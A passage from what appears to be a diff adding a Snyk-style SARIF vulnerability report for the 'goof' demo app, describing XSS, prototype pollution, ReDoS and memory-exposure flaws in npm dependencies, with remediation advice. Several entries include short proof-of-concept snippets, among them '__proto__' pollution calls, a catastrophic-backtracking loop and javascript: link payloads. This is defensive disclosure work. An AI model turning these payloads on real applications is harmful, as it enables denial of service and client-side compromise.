blog](https://snyk.io/blog/node-js-timing-attack-ccc-ctf/).\r\n\r\n# Remediation\r\nUpgrade `http-signature` to version 1.0.0 or higher.\r\n\r\n# References\r\n- [Github PR](https://github.com/joyent/node-http-signature/pull/36)\r\n- [Github Commit](https://github.com/joyent/node-http-signature/commit/78ab1da232f31f695f5c362d863593a143aa8b56)" + }, + "properties": { + "tags": [ + "security", + "CWE-310", + "npm" + ], + "cvssv3_baseScore": 6.5, + "security-severity": "6.5" + } + }, + { + "id": "npm:marked:20170815", + "shortDescription": { + "text": "High severity - Cross-site Scripting (XSS) vulnerability in marked" + }, + "fullDescription": { + "text": "marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). Browsers support both lowercase and uppercase x in hexadecimal form of HTML character entity, but marked [unescaped only lowercase](https://github.com/chjj/marked/blob/v0.3.7/lib/marked.js#L1096-L1108).\r\n\r\nThis may allow an attacker to create a link with javascript code.\r\n\r\nFor example:\r\n```js\r\nvar marked = require('marked');\r\nmarked.setOptions({\r\n renderer: new marked.Renderer(),\r\n sanitize: true\r\n});\r\n\r\ntext = `\r\nlower[click me](javascript:...)lower\r\nupper[click me](javascript:...)upper\r\n`;\r\n\r\nconsole.log(marked(text));\r\n```\r\n\r\nwill render the following:\r\n\r\n```html\r\n

lowerlower\r\nupperclick meupper

\r\n\r\n```\n# Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `marked` to version 0.3.9 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/pull/976/commits/6d1901ff71abb83aa32ca9a5ce47471382ea42a9)\n- [GitHub Issue](https://github.com/chjj/marked/issues/925)\n- [GitHub PR](https://github.com/chjj/marked/pull/958)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:npmconf:20180512", + "shortDescription": { + "text": "High severity - Uninitialized Memory Exposure vulnerability in npmconf" + }, + "fullDescription": { + "text": "npmconf@0.0.24" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: npmconf\n* Introduced through: goof@1.0.1 and npmconf@0.0.24\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › npmconf@0.0.24\n# Overview\n\n[npmconf](https://www.npmjs.com/package/npmconf) is a package to reintegrate directly into npm.\n\n\nAffected versions of this package are vulnerable to Uninitialized Memory Exposure.\nIt allocates and writes to disk uninitialized memory content when a typed number is passed as input.\r\n\r\n**Note** `npmconf` is deprecated and should not be used.\r\n**Note** This is vulnerable only for Node <=4\n\n# Details\nThe Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.\r\n```js\r\nconst buf1 = new Buffer([1,2,3]);\r\n// creates a buffer containing [01, 02, 03]\r\nconst buf2 = new Buffer('test');\r\n// creates a buffer containing ASCII bytes [74, 65, 73, 74]\r\nconst buf3 = new Buffer(10);\r\n// creates a buffer of length 10\r\n```\r\n\r\nThe first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.\r\nWhen using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not `zeroed` by using `buf.fill(0)`, it may leak sensitive information like keys, source code, and system info.\n\n# Remediation\n\nUpgrade `npmconf` to version 2.1.3 or higher.\n\n\n# References\n\n- [HAckerOne Report](https://hackerone.com/reports/320269)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-201", + "npm" + ], + "cvssv3_baseScore": 7.4, + "security-severity": "7.4" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-1056767", + "shortDescription": { + "text": "High severity - Remote Code Execution (RCE) vulnerability in handlebars" + }, + "fullDescription": { + "text": "(CVE-2021-23369) handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n## POC\r\n```\r\n \r\n\r\n```\n# Remediation\nUpgrade `handlebars` to version 4.7.7 or higher.\n# References\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 7, + "security-severity": "7.0" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-534988", + "shortDescription": { + "text": "Critical severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n# Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n## Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n## Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n# Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n# Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n# How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n## For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https:" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 9.8, + "security-severity": "9.8" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-534478", + "shortDescription": { + "text": "High severity - Arbitrary Code Execution vulnerability in handlebars" + }, + "fullDescription": { + "text": "(CVE-2019-20920) handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n# Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n# References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 8.1, + "security-severity": "8.1" + } + }, + { + "id": "SNYK-JS-LODASHSET-1320032", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in lodash.set" + }, + "fullDescription": { + "text": "lodash.set@4.3.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash.set\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › lodash.set@4.3.2\n# Overview\n[lodash.set](https://www.npmjs.com/package/lodash.set) is a lodash method _.set exported as a Node.js module.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `setWith` and `set` functions.\r\n\r\n# PoC by awarau\r\n* Create a JS file with this contents:\r\n```\r\nlod = require('lodash')\r\nlod.setWith({}, \"__proto__[test]\", \"123\")\r\nlod.set({}, \"__proto__[test2]\", \"456\")\r\nconsole.log(Object.prototype)\r\n```\r\n* Execute it with `node`\r\n* Observe that `test` and `test2` is now in the `Object.prototype`.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript protot" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-ANSIREGEX-1583908", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in ansi-regex" + }, + "fullDescription": { + "text": "(CVE-2021-3807) ansi-regex@4.1.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ansi-regex\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › strip-ansi@5.2.0 › ansi-regex@4.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › strip-ansi@5.2.0 › ansi-regex@4.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › wrap-ansi@5.1.0 › string-width@3.1.0 › strip-ansi@5.2.0 › ansi-regex@4.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › wrap-ansi@5.1.0 › strip-ansi@5.2.0 › ansi-regex@4.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › cliui@3.2.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › cliui@3.2.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › tap-mocha-reporter@0.0.27 › unicode-length@1.0.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › boxen@1.3.0 › ansi-align@2.0.0 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › boxen@1.3.0 › widest-line@2.0.1 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › boxen@1.3.0 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n## PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `ansi-regex` to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1)\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a)\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:marked:20170907", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "(CVE-2017-16114) marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nwhen parsing the input markdown content (1,000 characters costs around 6 seconds matching time).\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `marked` to version 0.3.9 or higher.\n\n\n# References\n\n- [GitHub Issue](https://github.com/chjj/marked/issues/937)\n\n- [GitHub PR](https://github.com/chjj/marked/pull/958)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-NCONF-2395478", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in nconf" + }, + "fullDescription": { + "text": "(CVE-2022-21803) nconf@0.10.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: nconf\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0\n# Overview\n[nconf](https://www.npmjs.com/package/nconf) is a Hierarchical node.js configuration with files, environment variables, command-line arguments, and atomic object merging.\n\nAffected versions of this package are vulnerable to Prototype Pollution. When using the `memory` engine, it is possible to store a nested JSON representation of the configuration. The `.set()` function, that is responsible for setting the configuration properties, is vulnerable to Prototype Pollution. By providing a crafted property, it is possible to modify the properties on the `Object.prototype`.\r\n\r\n\r\n# PoC\r\n\r\n```javascript\r\nconst nconf = require('nconf');\r\nnconf.use('memory')\r\n\r\nconsole.log({}.polluted)\r\n\r\nnconf.set('__proto__:polluted', 